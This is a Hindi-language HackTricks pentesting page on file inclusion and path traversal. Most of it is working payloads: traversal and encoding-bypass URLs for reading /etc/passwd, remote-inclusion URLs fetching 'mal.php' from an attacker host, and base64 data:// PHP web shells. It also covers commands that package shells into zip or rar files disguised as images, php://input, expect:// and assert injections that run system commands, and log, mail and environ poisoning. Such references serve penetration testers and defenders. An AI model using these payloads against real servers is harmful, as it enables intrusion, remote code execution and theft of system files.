फ़ाइल समावेश/पथ यात्रा

Reading time: 29 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

फ़ाइल समावेश

रिमोट फ़ाइल समावेश (RFI): फ़ाइल एक रिमोट सर्वर से लोड की जाती है (सर्वश्रेष्ठ: आप कोड लिख सकते हैं और सर्वर इसे निष्पादित करेगा)। PHP में यह डिफ़ॉल्ट रूप से निष्क्रिय है (allow_url_include)।
लोकल फ़ाइल समावेश (LFI): सर्वर एक स्थानीय फ़ाइल लोड करता है।

कमजोरी तब होती है जब उपयोगकर्ता किसी न किसी तरीके से उस फ़ाइल को नियंत्रित कर सकता है जिसे सर्वर द्वारा लोड किया जाने वाला है।

कमजोर PHP फ़ंक्शन: require, require_once, include, include_once

इस कमजोरी का शोषण करने के लिए एक दिलचस्प उपकरण: https://github.com/kurobeats/fimap

ब्लाइंड - दिलचस्प - LFI2RCE फ़ाइलें

python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

कई *nix LFI सूचियों को मिलाकर और अधिक पथ जोड़कर मैंने यह बनाया है:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

/ को \ में बदलने की कोशिश करें
../../../../../ जोड़ने की भी कोशिश करें

एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /etc/password को खोजने के लिए है (यह जांचने के लिए कि क्या भेद्यता मौजूद है) यहां मिल सकती है

Windows

विभिन्न शब्द सूचियों का संयोजन:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

/ को \ में बदलने की कोशिश करें
C:/ को हटाने और ../../../../../ जोड़ने की भी कोशिश करें

एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /boot.ini को खोजने के लिए है (यह जांचने के लिए कि क्या भेद्यता मौजूद है) यहां मिल सकती है

OS X

लिनक्स की LFI सूची की जांच करें।

Basic LFI and bypasses

सभी उदाहरण स्थानीय फ़ाइल समावेश के लिए हैं लेकिन इसे दूरस्थ फ़ाइल समावेश पर भी लागू किया जा सकता है (पृष्ठ=http://myserver.com/phpshellcode.txt\

http://example.com/index.php?page=../../../etc/passwd

traversal sequences stripped non-recursively

python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

प्रदान किए गए स्ट्रिंग के अंत में अधिक वर्ण जोड़ने को बायपास करें (बायपास: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

यह PHP 5.4 से हल किया गया है

कोडिंग

आप डबल URL एन्कोडिंग (और अन्य) जैसी गैर-मानक एन्कोडिंग का उपयोग कर सकते हैं:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

From existent folder

शायद बैक-एंड फ़ोल्डर पथ की जांच कर रहा है:

python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Exploring File System Directories on a Server

एक सर्वर के फ़ाइल सिस्टम को पुनरावृत्त रूप से खोजा जा सकता है ताकि निर्देशिकाओं की पहचान की जा सके, न कि केवल फ़ाइलों की, कुछ तकनीकों का उपयोग करके। इस प्रक्रिया में निर्देशिका की गहराई निर्धारित करना और विशिष्ट फ़ोल्डरों के अस्तित्व के लिए जांच करना शामिल है। इसे प्राप्त करने के लिए एक विस्तृत विधि नीचे दी गई है:

  1. Determine Directory Depth: अपने वर्तमान निर्देशिका की गहराई का निर्धारण करें /etc/passwd फ़ाइल को सफलतापूर्वक लाकर (यदि सर्वर Linux-आधारित है)। एक उदाहरण URL इस प्रकार संरचित हो सकता है, जो तीन की गहराई को इंगित करता है:
bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. फोल्डर्स के लिए जांचें: संदिग्ध फोल्डर का नाम (जैसे, private) URL में जोड़ें, फिर /etc/passwd पर वापस जाएं। अतिरिक्त निर्देशिका स्तर की आवश्यकता होती है कि गहराई को एक से बढ़ाया जाए:
bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. परिणामों की व्याख्या करें: सर्वर की प्रतिक्रिया यह संकेत करती है कि फ़ोल्डर मौजूद है या नहीं:
  • त्रुटि / कोई आउटपुट नहीं: फ़ोल्डर private संभवतः निर्दिष्ट स्थान पर मौजूद नहीं है।
  • /etc/passwd की सामग्री: private फ़ोल्डर की उपस्थिति की पुष्टि होती है।
  1. पुनरावृत्त अन्वेषण: खोजे गए फ़ोल्डरों को उपनिर्देशिकाओं या फ़ाइलों के लिए आगे जांचा जा सकता है, उसी तकनीक या पारंपरिक लोकल फ़ाइल समावेशन (LFI) विधियों का उपयोग करके।

फ़ाइल सिस्टम में विभिन्न स्थानों पर निर्देशिकाओं का अन्वेषण करने के लिए, पेलोड को तदनुसार समायोजित करें। उदाहरण के लिए, यह जांचने के लिए कि क्या /var/www/ में private निर्देशिका है (मान लेते हैं कि वर्तमान निर्देशिका की गहराई 3 है), उपयोग करें:

bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation एक विधि है जो वेब अनुप्रयोगों में फ़ाइल पथों को संशोधित करने के लिए उपयोग की जाती है। इसका अक्सर उपयोग प्रतिबंधित फ़ाइलों तक पहुँचने के लिए किया जाता है, जिससे कुछ सुरक्षा उपायों को बायपास किया जा सके जो फ़ाइल पथों के अंत में अतिरिक्त वर्ण जोड़ते हैं। लक्ष्य यह है कि एक फ़ाइल पथ तैयार किया जाए जो, जब सुरक्षा उपाय द्वारा संशोधित किया जाए, तब भी इच्छित फ़ाइल की ओर इंगित करे।

PHP में, फ़ाइल पथ के विभिन्न प्रतिनिधित्व फ़ाइल प्रणाली की प्रकृति के कारण समान माने जा सकते हैं। उदाहरण के लिए:

  • /etc/passwd, /etc//passwd, /etc/./passwd, और /etc/passwd/ सभी को एक ही पथ के रूप में माना जाता है।
  • जब अंतिम 6 वर्ण passwd होते हैं, तो / जोड़ने (जिससे यह passwd/ बनता है) से लक्षित फ़ाइल में कोई परिवर्तन नहीं होता है।
  • इसी तरह, यदि .php को फ़ाइल पथ में जोड़ा जाता है (जैसे shellcode.php), तो अंत में /. जोड़ने से पहुँचाई जा रही फ़ाइल में कोई परिवर्तन नहीं होगा।

प्रदान किए गए उदाहरण यह दर्शाते हैं कि /etc/passwd तक पहुँचने के लिए path truncation का उपयोग कैसे किया जाए, जो इसके संवेदनशील सामग्री (उपयोगकर्ता खाता जानकारी) के कारण एक सामान्य लक्ष्य है:

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

इन परिदृश्यों में, आवश्यक ट्रैवर्सल की संख्या लगभग 2027 हो सकती है, लेकिन यह संख्या सर्वर की कॉन्फ़िगरेशन के आधार पर भिन्न हो सकती है।

  • डॉट सेगमेंट और अतिरिक्त वर्णों का उपयोग करना: ट्रैवर्सल अनुक्रम (../) को अतिरिक्त डॉट सेगमेंट और वर्णों के साथ मिलाकर फ़ाइल सिस्टम में नेविगेट करने के लिए उपयोग किया जा सकता है, प्रभावी रूप से सर्वर द्वारा जोड़े गए स्ट्रिंग्स की अनदेखी करते हुए।
  • आवश्यक ट्रैवर्सल की संख्या निर्धारित करना: प्रयास और त्रुटि के माध्यम से, कोई भी ../ अनुक्रमों की सटीक संख्या खोज सकता है जो रूट डायरेक्टरी में नेविगेट करने और फिर /etc/passwd तक पहुँचने के लिए आवश्यक है, यह सुनिश्चित करते हुए कि कोई भी जोड़ी गई स्ट्रिंग्स (जैसे .php) निष्क्रिय हो जाएं लेकिन इच्छित पथ (/etc/passwd) बरकरार रहे।
  • एक नकली डायरेक्टरी से शुरू करना: पथ को एक गैर-मौजूद डायरेक्टरी (जैसे a/) से शुरू करना एक सामान्य प्रथा है। इस तकनीक का उपयोग एक एहतियाती उपाय के रूप में या सर्वर के पथ पार्सिंग लॉजिक की आवश्यकताओं को पूरा करने के लिए किया जाता है।

पथ ट्रंकटेशन तकनीकों का उपयोग करते समय, सर्वर के पथ पार्सिंग व्यवहार और फ़ाइल सिस्टम संरचना को समझना महत्वपूर्ण है। प्रत्येक परिदृश्य के लिए एक अलग दृष्टिकोण की आवश्यकता हो सकती है, और सबसे प्रभावी विधि खोजने के लिए परीक्षण अक्सर आवश्यक होता है।

यह भेद्यता PHP 5.3 में ठीक की गई थी।

फिल्टर बायपास ट्रिक्स

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

In php यह डिफ़ॉल्ट रूप से बंद है क्योंकि allow_url_include Off है। इसे काम करने के लिए On होना चाहिए, और उस स्थिति में आप अपने सर्वर से एक PHP फ़ाइल शामिल कर सकते हैं और RCE प्राप्त कर सकते हैं:

python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

यदि किसी कारणवश allow_url_include On है, लेकिन PHP बाहरी वेबपृष्ठों तक पहुँच को filtering कर रहा है, इस पोस्ट के अनुसार, आप उदाहरण के लिए डेटा प्रोटोकॉल का उपयोग कर सकते हैं जिसमें base64 कोड को डिकोड करने के लिए b64 PHP कोड का उपयोग किया जा सकता है और RCE प्राप्त किया जा सकता है:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

note

पिछले कोड में, अंतिम +.txt जोड़ा गया था क्योंकि हमलावर को एक ऐसा स्ट्रिंग चाहिए था जो .txt पर समाप्त होता हो, इसलिए स्ट्रिंग इसके साथ समाप्त होती है और b64 डिकोड के बाद वह भाग केवल बकवास लौटाएगा और असली PHP कोड शामिल किया जाएगा (और इसलिए, निष्पादित किया जाएगा)।

एक और उदाहरण php:// प्रोटोकॉल का उपयोग न करते हुए होगा:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python Root element

In python in a code like this one:

python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

यदि उपयोगकर्ता file_name के लिए absolute path पास करता है, तो पिछला पथ बस हटा दिया जाता है:

python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

यह अपेक्षित व्यवहार है the docs के अनुसार:

यदि एक घटक एक पूर्ण पथ है, तो सभी पिछले घटक हटा दिए जाते हैं और जोड़ना पूर्ण पथ घटक से जारी रहता है।

Java सूची निर्देशिकाएँ

ऐसा लगता है कि यदि आपके पास Java में एक Path Traversal है और आप एक निर्देशिका के लिए पूछते हैं बजाय एक फ़ाइल के, तो निर्देशिका की एक सूची लौटाई जाती है। यह अन्य भाषाओं में नहीं होगा (afaik)।

शीर्ष 25 पैरामीटर

यहाँ शीर्ष 25 पैरामीटरों की सूची है जो स्थानीय फ़ाइल समावेशन (LFI) कमजोरियों के लिए संवेदनशील हो सकते हैं (से link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI using PHP wrappers & protocols

php://filter

PHP फ़िल्टर डेटा पर संशोधन संचालन करने की अनुमति देते हैं इससे पहले कि इसे पढ़ा या लिखा जाए। फ़िल्टर की 5 श्रेणियाँ हैं:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: डेटा से टैग हटाएँ (सब कुछ "<" और ">" अक्षरों के बीच)
  • ध्यान दें कि यह फ़िल्टर आधुनिक PHP संस्करणों से गायब हो गया है
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : एक अलग एन्कोडिंग में परिवर्तित करता है(convert.iconv.<input_enc>.<output_enc>)। सभी समर्थित एन्कोडिंग की सूची प्राप्त करने के लिए कंसोल में चलाएँ: iconv -l

warning

convert.iconv.* रूपांतरण फ़िल्टर का दुरुपयोग करके आप मनमाना पाठ उत्पन्न कर सकते हैं, जो मनमाना पाठ लिखने या किसी फ़ंक्शन को शामिल करने की प्रक्रिया में मनमाना पाठ बनाने के लिए उपयोगी हो सकता है। अधिक जानकारी के लिए देखें LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: सामग्री को संकुचित करें (यदि बहुत सारी जानकारी निकालना हो तो उपयोगी)
  • zlib.inflate: डेटा को अनसंकुचित करें
  • Encryption Filters
  • mcrypt.* : Deprecated
  • mdecrypt.* : Deprecated
  • अन्य फ़िल्टर
  • php में चलाकर var_dump(stream_get_filters()); आप कुछ अप्रत्याशित फ़िल्टर पा सकते हैं:
  • consumed
  • dechunk: HTTP चंक्ड एन्कोडिंग को उलटता है
  • convert.*
php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

warning

भाग "php://filter" केस-संवेदनशील नहीं है

php फ़िल्टर का उपयोग करके मनमाने फ़ाइलों को पढ़ने के लिए ऑरेकल के रूप में

इस पोस्ट में एक तकनीक का प्रस्ताव किया गया है जिससे बिना सर्वर से आउटपुट प्राप्त किए एक स्थानीय फ़ाइल पढ़ी जा सके। यह तकनीक php फ़िल्टर का उपयोग करके फ़ाइल का बूलियन एक्सफिल्ट्रेशन (चर द्वारा चर) के रूप में ऑरेकल पर आधारित है। इसका कारण यह है कि php फ़िल्टर का उपयोग एक टेक्स्ट को इतना बड़ा बनाने के लिए किया जा सकता है कि php एक अपवाद फेंक दे।

मूल पोस्ट में तकनीक का विस्तृत विवरण है, लेकिन यहाँ एक त्वरित सारांश है:

  • टेक्स्ट के प्रारंभ में अग्रणी वर्ण को छोड़ने और स्ट्रिंग के आकार को तेजी से बढ़ाने के लिए UCS-4LE कोडेक का उपयोग करें।
  • इसका उपयोग एक इतना बड़ा टेक्स्ट उत्पन्न करने के लिए किया जाएगा जब प्रारंभिक अक्षर सही अनुमानित हो कि php एक त्रुटि उत्पन्न करेगा।
  • dechunk फ़िल्टर पहले चर को हेक्साडेसिमल नहीं होने पर सब कुछ हटा देगा, इसलिए हम जान सकते हैं कि पहला चर हेक्स है या नहीं।
  • यह, पिछले वाले के साथ (और अनुमानित अक्षर के आधार पर अन्य फ़िल्टर), हमें टेक्स्ट के प्रारंभ में एक अक्षर का अनुमान लगाने की अनुमति देगा जब हम पर्याप्त परिवर्तन करते हैं ताकि यह हेक्साडेसिमल वर्ण न हो। क्योंकि यदि हेक्स है, तो dechunk इसे नहीं हटाएगा और प्रारंभिक बम php त्रुटि उत्पन्न करेगा।
  • कोडेक convert.iconv.UNICODE.CP930 हर अक्षर को अगले में बदलता है (तो इस कोडेक के बाद: a -> b)। इससे हमें पता चलता है कि पहला अक्षर a है या नहीं, उदाहरण के लिए, क्योंकि यदि हम 6 इस कोडेक का उपयोग करते हैं a->b->c->d->e->f->g तो अक्षर अब हेक्साडेसिमल वर्ण नहीं है, इसलिए dechunk इसे नहीं हटाता और php त्रुटि उत्पन्न होती है क्योंकि यह प्रारंभिक बम के साथ गुणा करता है।
  • प्रारंभ में rot13 जैसे अन्य परिवर्तनों का उपयोग करके अन्य वर्णों को लीक करना संभव है जैसे n, o, p, q, r (और अन्य कोडेक का उपयोग करके अन्य अक्षरों को हेक्स रेंज में ले जाया जा सकता है)।
  • जब प्रारंभिक चर एक संख्या होती है, तो इसे base64 एन्कोड करना आवश्यक है और संख्या लीक करने के लिए पहले 2 अक्षरों को लीक करना आवश्यक है।
  • अंतिम समस्या यह है कि कैसे प्रारंभिक अक्षर से अधिक लीक किया जाए। आदेश मेमोरी फ़िल्टर जैसे convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE का उपयोग करके अक्षरों के क्रम को बदलना और टेक्स्ट के पहले स्थान पर अन्य अक्षरों को प्राप्त करना संभव है।
  • और आगे के डेटा प्राप्त करने के लिए विचार यह है कि प्रारंभ में 2 बाइट्स का जंक डेटा उत्पन्न करें convert.iconv.UTF16.UTF16 के साथ, UCS-4LE लागू करें ताकि यह अगले 2 बाइट्स के साथ पिवट हो, और जंक डेटा तक डेटा को हटा दें (यह प्रारंभिक टेक्स्ट के पहले 2 बाइट्स को हटा देगा)। जब तक आप लीक करने के लिए इच्छित बिट तक नहीं पहुँचते तब तक ऐसा करते रहें।

पोस्ट में इस प्रक्रिया को स्वचालित रूप से करने के लिए एक उपकरण भी लीक किया गया था: php_filters_chain_oracle_exploit.

php://fd

यह रैपर उन फ़ाइल डिस्क्रिप्टर्स तक पहुँचने की अनुमति देता है जो प्रक्रिया ने खोले हैं। खोली गई फ़ाइलों की सामग्री को एक्सफिल्ट्रेट करने के लिए संभावित रूप से उपयोगी:

php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

आप php://stdin, php://stdout और php://stderr का उपयोग file descriptors 0, 1 और 2 तक पहुँचने के लिए कर सकते हैं (यह नहीं पता कि यह हमले में कैसे उपयोगी हो सकता है)

zip:// और rar://

एक PHPShell के साथ एक Zip या Rar फ़ाइल अपलोड करें और इसे एक्सेस करें।
rar प्रोटोकॉल का दुरुपयोग करने के लिए इसे विशेष रूप से सक्रिय किया जाना चाहिए

bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

ध्यान दें कि यह प्रोटोकॉल php कॉन्फ़िगरेशन allow_url_open और allow_url_include द्वारा प्रतिबंधित है।

expect://

Expect को सक्रिय करना होगा। आप इसका उपयोग करके कोड निष्पादित कर सकते हैं:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

अपने पेलोड को POST पैरामीटर में निर्दिष्ट करें:

bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

एक .phar फ़ाइल का उपयोग PHP कोड को निष्पादित करने के लिए किया जा सकता है जब एक वेब एप्लिकेशन फ़ाइल लोड करने के लिए include जैसी फ़ंक्शंस का उपयोग करता है। नीचे दिया गया PHP कोड स्निपेट एक .phar फ़ाइल बनाने का प्रदर्शन करता है:

php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.phar फ़ाइल को संकलित करने के लिए, निम्नलिखित कमांड निष्पादित की जानी चाहिए:

bash
php --define phar.readonly=0 create_path.php

कार्यान्वयन के दौरान, test.phar नामक एक फ़ाइल बनाई जाएगी, जिसे स्थानीय फ़ाइल समावेशन (LFI) कमजोरियों का शोषण करने के लिए उपयोग किया जा सकता है।

उन मामलों में जहां LFI केवल फ़ाइल पढ़ने का कार्य करता है बिना PHP कोड को निष्पादित किए, जैसे कि file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), या filesize() जैसी फ़ंक्शंस के माध्यम से, एक डेसिरियलाइजेशन कमजोरी का शोषण करने का प्रयास किया जा सकता है। यह कमजोरी phar प्रोटोकॉल का उपयोग करके फ़ाइलों को पढ़ने से संबंधित है।

.phar फ़ाइलों के संदर्भ में डेसिरियलाइजेशन कमजोरियों के शोषण को समझने के लिए, नीचे दिए गए लिंक किए गए दस्तावेज़ को देखें:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

किसी भी मनमाने फ़ाइल को PHP से पढ़ने के लिए जो php फ़िल्टर का समर्थन करता है का दुरुपयोग करके RCE प्राप्त करना संभव था। विस्तृत विवरण इस पोस्ट में पाया जा सकता है.
बहुत संक्षिप्त सारांश: PHP हीप में 3 बाइट ओवरफ्लो का दुरुपयोग किया गया था ताकि विशिष्ट आकार के मुक्त टुकड़ों की श्रृंखला को बदलने के लिए, ताकि किसी भी पते पर कुछ भी लिखा जा सके, इसलिए system को कॉल करने के लिए एक हुक जोड़ा गया।
विशिष्ट आकार के टुकड़ों को आवंटित करना संभव था, अधिक php फ़िल्टर का दुरुपयोग करके।

अधिक प्रोटोकॉल

यहां अधिक संभावित प्रोटोकॉल की जांच करें:

  • php://memory and php://temp — मेमोरी या अस्थायी फ़ाइल में लिखें (यह फ़ाइल समावेशन हमले में कैसे उपयोगी हो सकता है, यह निश्चित नहीं है)
  • file:// — स्थानीय फ़ाइल सिस्टम तक पहुँच
  • http:// — HTTP(s) URL तक पहुँच
  • ftp:// — FTP(s) URL तक पहुँच
  • zlib:// — संकुचन धाराएँ
  • glob:// — पैटर्न से मेल खाने वाले पथ नाम खोजें (यह कुछ भी प्रिंट करने योग्य नहीं लौटाता, इसलिए यहाँ वास्तव में उपयोगी नहीं है)
  • ssh2:// — सुरक्षित शेल 2
  • ogg:// — ऑडियो धाराएँ (मनमाने फ़ाइलों को पढ़ने के लिए उपयोगी नहीं)

PHP के 'assert' के माध्यम से LFI

PHP में स्थानीय फ़ाइल समावेशन (LFI) जोखिम 'assert' फ़ंक्शन के साथ काफी उच्च होते हैं, जो स्ट्रिंग्स के भीतर कोड को निष्पादित कर सकता है। यह विशेष रूप से समस्याग्रस्त है यदि इनपुट में ".." जैसे निर्देशिका ट्रैवर्सल वर्णों की जांच की जा रही है लेकिन सही तरीके से साफ नहीं किया गया है।

उदाहरण के लिए, PHP कोड को इस तरह से निर्देशिका ट्रैवर्सल को रोकने के लिए डिज़ाइन किया जा सकता है:

bash
assert("strpos('$file', '..') === false") or die("");

जबकि इसका उद्देश्य traversal को रोकना है, यह अनजाने में कोड इंजेक्शन के लिए एक वेक्टर बनाता है। फ़ाइल सामग्री पढ़ने के लिए इसका लाभ उठाने के लिए, एक हमलावर उपयोग कर सकता है:

plaintext
' and die(highlight_file('/etc/passwd')) or '

इसी तरह, मनमाने सिस्टम कमांड्स को निष्पादित करने के लिए, कोई निम्नलिखित का उपयोग कर सकता है:

plaintext
' and die(system("id")) or '

यह महत्वपूर्ण है कि इन पेलोड्स को URL-encode करें

PHP ब्लाइंड पाथ ट्रैवर्सल

warning

यह तकनीक उन मामलों में प्रासंगिक है जहाँ आप PHP फ़ंक्शन के फ़ाइल पथ को नियंत्रित करते हैं जो एक फ़ाइल तक पहुँचता है लेकिन आप फ़ाइल की सामग्री नहीं देखेंगे (जैसे file() का एक साधारण कॉल) लेकिन सामग्री नहीं दिखाई देती।

इस अद्भुत पोस्ट में यह समझाया गया है कि कैसे एक ब्लाइंड पाथ ट्रैवर्सल को PHP फ़िल्टर के माध्यम से एक त्रुटि ओरेकल के माध्यम से फ़ाइल की सामग्री को एक्सफिल्ट्रेट करने के लिए दुरुपयोग किया जा सकता है।

संक्षेप में, तकनीक "UCS-4LE" एन्कोडिंग का उपयोग कर रही है ताकि एक फ़ाइल की सामग्री इतनी बड़ी हो जाए कि फ़ाइल को खोलने वाला PHP फ़ंक्शन एक त्रुटि उत्पन्न करेगा।

फिर, पहले अक्षर को लीक करने के लिए फ़िल्टर dechunk का उपयोग किया जाता है अन्य फ़िल्टर जैसे base64 या rot13 के साथ और अंततः फ़िल्टर convert.iconv.UCS-4.UCS-4LE और convert.iconv.UTF16.UTF-16BE का उपयोग अन्य अक्षरों को शुरुआत में रखने और उन्हें लीक करने के लिए किया जाता है।

संभावित रूप से कमजोर फ़ंक्शन: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (केवल लक्षित पढ़ने के लिए इस के साथ), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

तकनीकी विवरण के लिए उल्लेखित पोस्ट की जाँच करें!

LFI2RCE

रिमोट फ़ाइल समावेश

पहले समझाया गया, इस लिंक का पालन करें

Apache/Nginx लॉग फ़ाइल के माध्यम से

यदि Apache या Nginx सर्वर LFI के लिए कमजोर है तो आप शामिल फ़ंक्शन के अंदर /var/log/apache2/access.log या /var/log/nginx/access.log तक पहुँचने की कोशिश कर सकते हैं, उपयोगकर्ता एजेंट के अंदर या एक GET पैरामीटर के अंदर एक php शेल जैसे <?php system($_GET['c']); ?> सेट करें और उस फ़ाइल को शामिल करें।

warning

ध्यान दें कि यदि आप शेल के लिए डबल कोट्स का उपयोग करते हैं बजाय साधारण कोट्स के, तो डबल कोट्स को "quote;" स्ट्रिंग के लिए संशोधित किया जाएगा, PHP वहाँ एक त्रुटि फेंकेगा और कुछ और निष्पादित नहीं होगा

इसके अलावा, सुनिश्चित करें कि आप पेलोड को सही ढंग से लिखें अन्यथा PHP हर बार त्रुटि करेगा जब यह लॉग फ़ाइल को लोड करने की कोशिश करेगा और आपके पास दूसरा अवसर नहीं होगा।

यह अन्य लॉग में भी किया जा सकता है लेकिन सावधान रहें, लॉग के अंदर कोड URL एन्कोडेड हो सकता है और इससे शेल नष्ट हो सकता है। हेडर authorisation "basic" में "user:password" Base64 में होता है और इसे लॉग के अंदर डिकोड किया जाता है। PHPShell को इस हेडर के अंदर डाला जा सकता है।
अन्य संभावित लॉग पथ:

python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

ईमेल के माध्यम से

एक मेल भेजें एक आंतरिक खाते (user@localhost) को जिसमें आपका PHP payload हो जैसे <?php echo system($_REQUEST["cmd"]); ?> और उपयोगकर्ता के मेल में शामिल करने की कोशिश करें एक पथ के साथ जैसे /var/mail/<USERNAME> या /var/spool/mail/<USERNAME>

/proc/*/fd/* के माध्यम से

  1. बहुत सारे शेल अपलोड करें (उदाहरण के लिए: 100)
  2. शामिल करें http://example.com/index.php?page=/proc/$PID/fd/$FD, जिसमें $PID = प्रक्रिया का PID (ब्रूट फोर्स किया जा सकता है) और $FD फ़ाइल डिस्क्रिप्टर (यह भी ब्रूट फोर्स किया जा सकता है)

/proc/self/environ के माध्यम से

एक लॉग फ़ाइल की तरह, User-Agent में payload भेजें, यह /proc/self/environ फ़ाइल के अंदर परिलक्षित होगा

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

यदि आप एक फ़ाइल अपलोड कर सकते हैं, तो बस इसमें शेल पेलोड इंजेक्ट करें (जैसे: <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

फाइल को पढ़ने योग्य रखने के लिए, चित्रों/doc/pdf के मेटाडेटा में इंजेक्ट करना सबसे अच्छा है।

